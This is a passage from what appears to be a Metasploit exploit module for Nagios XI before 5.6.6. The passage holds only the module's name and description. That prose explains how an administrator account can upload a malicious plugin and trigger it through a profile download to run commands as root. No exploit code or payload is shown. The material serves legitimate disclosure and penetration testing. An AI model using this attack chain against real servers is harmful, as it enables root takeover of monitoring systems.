      'Name'            => 'Nagios XI Authenticated Remote Command Execution',
      'Description'     => %q{
        This module exploits a vulnerability in Nagios XI before 5.6.6 in
        order to execute arbitrary commands as root.

        The module uploads a malicious plugin to the Nagios XI server and then
        executes this plugin by issuing an HTTP GET request to download a
        system profile from the server. For all supported targets except Linux
        (cmd), the module uses a command stager to write the exploit to the
        target via the malicious plugin. This may not work if Nagios XI is
        running in a restricted Unix environment, so in that case the target
        must be set to Linux (cmd). The module then writes the payload to the
        malicious plugin while avoiding commands that may not be supported.

        Valid credentials for a user with administrative privileges are
        required. This module was successfully tested on Nagios XI 5.6.5
        running on CentOS 7. The module may behave differently against older
        versions of Nagios XI. See the documentation for more information.
